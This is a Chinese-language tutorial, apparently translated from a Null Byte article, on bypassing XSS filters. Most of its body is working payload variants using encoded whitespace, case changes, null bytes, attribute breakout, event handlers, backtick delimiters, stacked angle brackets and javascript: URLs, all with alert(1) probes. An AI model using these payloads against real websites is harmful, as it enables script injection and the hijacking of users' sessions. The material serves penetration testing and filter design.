在如今的web時代,XSS攻擊十分常見,針對xss攻擊的防禦也有不少,Filter就是一種用來防禦xss攻擊的最常見的手段,filter通常是採用黑名單的形式或者基於正則表達式來過濾。儘管如此,依然有很多技術可以用來繞過Filter。

基本變形

我們可以先從繞過相對簡單的filter開始。根據Filter過濾規則複雜度的不同,繞過的難易程度肯定也不同,這些簡單的過濾器還是比較容易繞過的,只要做一些基本的變形即可。

我們用到的大部分技術都是測試XSS漏洞的最簡單的payload的變形,就像下面的代碼一樣。

<script>alert(1)</script>

如果測試的參數存在xss,就會彈框顯示1.

Filter肯定會過濾這個payload,不過有時候,我們只要對payload進行一些簡單的修改,就能繞過默認的最基礎的filter。比如可以嘗試在開始的script標籤中插入一個空格或者是tab,如下所示:

<script >alert(1)</script>
<script >alert(1)</script>

當然,也可以通過對tab,換行,回車進行編碼來繞過,如下所示:

<script&#9>alert(1)</script>
<script&#10>alert(1)</script>
<script&#13>alert(1)</script>

對標籤進行大小寫也有可能騙過filter,如下:

<ScRipT>alert(1)</sCriPt>

還有一種方法非常有效,而且通常都能夠成功繞過,那就是插入null位元組。在xss payload的任何地方插入null位元組,有時候可以繞過filter,如下所示:

<%00script>alert(1)</script>
<script>al%00ert(1)</script>

屬性和標籤

HTML屬性提供了頁面上元素的更多信息。當我們查找XSS漏洞時,通常可以利用這些屬性來引入script標籤,從而確認是否存在xss。例如,我們以input元素為例,包含一個value的屬性,如下:

<input type="text" name="input" value="hello">

我們可以閉合value屬性的雙引號從而閉合input標籤來插入我們的XSS payload,如下:

<input type="text" name="input" value=""><script>alert(1)</script>

有時候即使使用任意的標籤名也可以繞過filter,如下:

<randomtag type="text" name="input" value="><script>alert(1)</script>

跟上面的類似,我們也可以替換標籤名和第一個屬性之間空格來測試,如下:

<input/type="text" name="input" value="><script>alert(1)</script>
<input&#9type="text" name="input" value="><script>alert(1)</script>
<input&#10type="text" name="input" value="><script>alert(1)</script>
<input&#13type="text" name="input" value="><script>alert(1)</script>
<input/type="text" name="input" value="><script>alert(1)</script>

改變標籤名大小寫,有時候也會有效果,如下:

<iNpUt type="text" name="input" value="><script>alert(1)</script>

null位元組的小技巧對標籤名同樣有效,我們可以嘗試在不同的位置插入null位元組,如下:

<%00input type="text" name="input" value="><script>alert(1)</script>
<inp%00ut type="text" name="input" value="><script>alert(1)</script>

這對屬性名和屬性值也同樣適用,如下:

<input t%00ype="text" name="input" value="><script>alert(1)</script>
<input type="text" name="input" value="><script>a%00lert(1)</script>

事件處理器(Event Handlers)

HTML語言也包含了事件,事件就是頁面上元素髮生的動作。事件處理器就是實現該動作的方法,通常是藉助JavaScript。事件可以由瀏覽器或者用戶自己發起,比如下面這些例子都是事件,單擊按鈕,頁面載入或者是拋出錯誤。

相關閱讀:利用這三個工具進行fuzz測試來發現xss漏洞

現在我們還是以上面的input標籤為例,我們嘗試向input標籤插入一個包含xss payload的事件,我們可以選擇任何合適的事件處理器(這裡我們選擇onsubmit)來構造payload。如果存在xss漏洞,那麼下面的代碼,將會在表單被提交時觸發彈框,如下:

<input onsubmit=alert(1)>

根據不同類型的filter,還有很多其他的事件處理器來探測xss漏洞。大部分甚至都不需要用戶交互,所以測試時使用這些事件處理器就最好不過了,如下:

<object onerror=alert(1)>
<body onactivate=alert(1)>
<body onfocusin=alert(1)>
<script onreadystatechange=alert(1)>
<input autofocus onfocus=alert(1)>

HTML5還引入了一些關於事件處理器的新的攻擊因素。比如audio,video和SVG等都可以用來觸發xss,如下:

<audio src="new.mp3" onerror=alert(1)>
<video src="new.mp4" onerror=alert(1)>
<svg width_="200" height="100" onload=alert(1)>

新的標準也允許在結束標籤內使用事件處理器,如下:

</a onfocus=alert(1)>

分隔符和括弧

分隔符是用於分隔文本字元串或者其他數據流的一個或多個字元。在挖xss漏洞時,巧妙的使用分隔符非常有效。在HTML中,我們經常使用空格來分隔屬性和它的值。還有的時候,只要使用一個單引號或者雙引號作為分隔符就可以繞過filter了,如下:

<img onerror="alert(1)"src=x>
<img onerror=alert(1)src=x>

對分隔符進行編碼也可以用來繞過防禦,如下:

<img onerror=&#34alert(1)&#34src=x>
<img onerror=&#39alert(1)&#39src=x>

重音符或者是反引號也是繞過filter的一種不錯的技巧,如下:

<img onerror=`alert(1)`src=x>

編碼版本如下:

<img onerror=&#96alert(1)&#96src=x>

Filter有時候會過濾某些關鍵詞,比如以「on」開頭的事件處理器,以此來防禦此類xss攻擊。

如果我們把屬性的位置換到前面,filter無法識別反引號,會將它視為不是以「on」開頭的單獨的屬性,這樣也就可以有效繞過filter了,如下:

<img src=`x`onerror=alert(1)>

跟分隔符一樣,尖括弧也可以利用來繞過filter。在某些情況下,filter僅僅只會查找開始括弧和閉合括弧,然後將尖括弧裡面的內容與惡意標籤黑名單比較。通過使用多個尖括弧,有時候可以騙過filter接受後面的代碼。再使用雙斜線注釋掉後面的閉合標籤,所以也不會報錯,如下:

<<script>alert(1)//<</script>

繞過filter之後就變成了下面這樣:

<script>alert(1)</script>

還有時候在結束的地方使用開尖括弧也有可能繞過filter,如下:

<input onsubmit=alert(1)<

在某些情況下,應用程序會將不常見的字元轉為最為接近的字元,基於它們之間相似的特徵。比如,我們可以使用雙角引號來替換傳統的開始尖括弧和結束尖括弧,應用程序在執行時可能會將它們轉化成正確的括弧,這樣就可以接收有效的輸入值而繞過filter了,如下:

?input onsubmit=alert(1)?

當然,跟前面一樣,編碼也是有效的,如下:

&#174input onsubmit=alert(1)&#175

偽協議

瀏覽器可以接受內聯的JavaScript代碼出現在URL中或者是出現在任何值為URL的屬性中。

VBScript是一種基於Visual Basic的腳本語言,在老版本的IE中,也曾經使用過這種偽協議的攻擊方式。這些偽協議為我們提供了額外的xss攻擊方法。

例如,我們來看一下href這個屬性,該HTML屬性指定一個URL鏈接地址,通常是為某些文本增加超鏈接,如下:

<a href="https://www.google.com">Click Here</a>

我們可以通過JavaScript偽協議來注入代碼並觸發xss漏洞,如下:

<a href="javascript:alert(1)">Click Here</a>

其他值為URL的屬性也都可以加以利用。(請注意一點:雖然屬性值添加雙引號是推薦的做法,但是並不一定非要雙引號),如下:

<img src=javascript:alert(1)>
<form action=javascript:alert(1)>
<object data=javascript:alert(1)>
<button formaction=javascript:alert(1)>
<video src=javascript:alert(1)>

敬請期待更多filter繞過技巧

本文到現在為止,我們已經探討了多種繞過filter的方法,從插入空格,改變大小寫的基本變形,到注入屬性和事件處理器來欺騙filter接受非正常的字元比如反引號和雙角尖括弧等。接下來我們將深入講解更多關於JavaScript的技巧來繞過filter,還有關於繞過輸入過濾和長度限制的技巧。

不要走開,馬上回來:繞過xss filter的高級技術part2。

本文翻譯自:null-byte.wonderhowto.com如若轉載,請註明原文地址: 4hou.com/web/15212.html 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

相關文章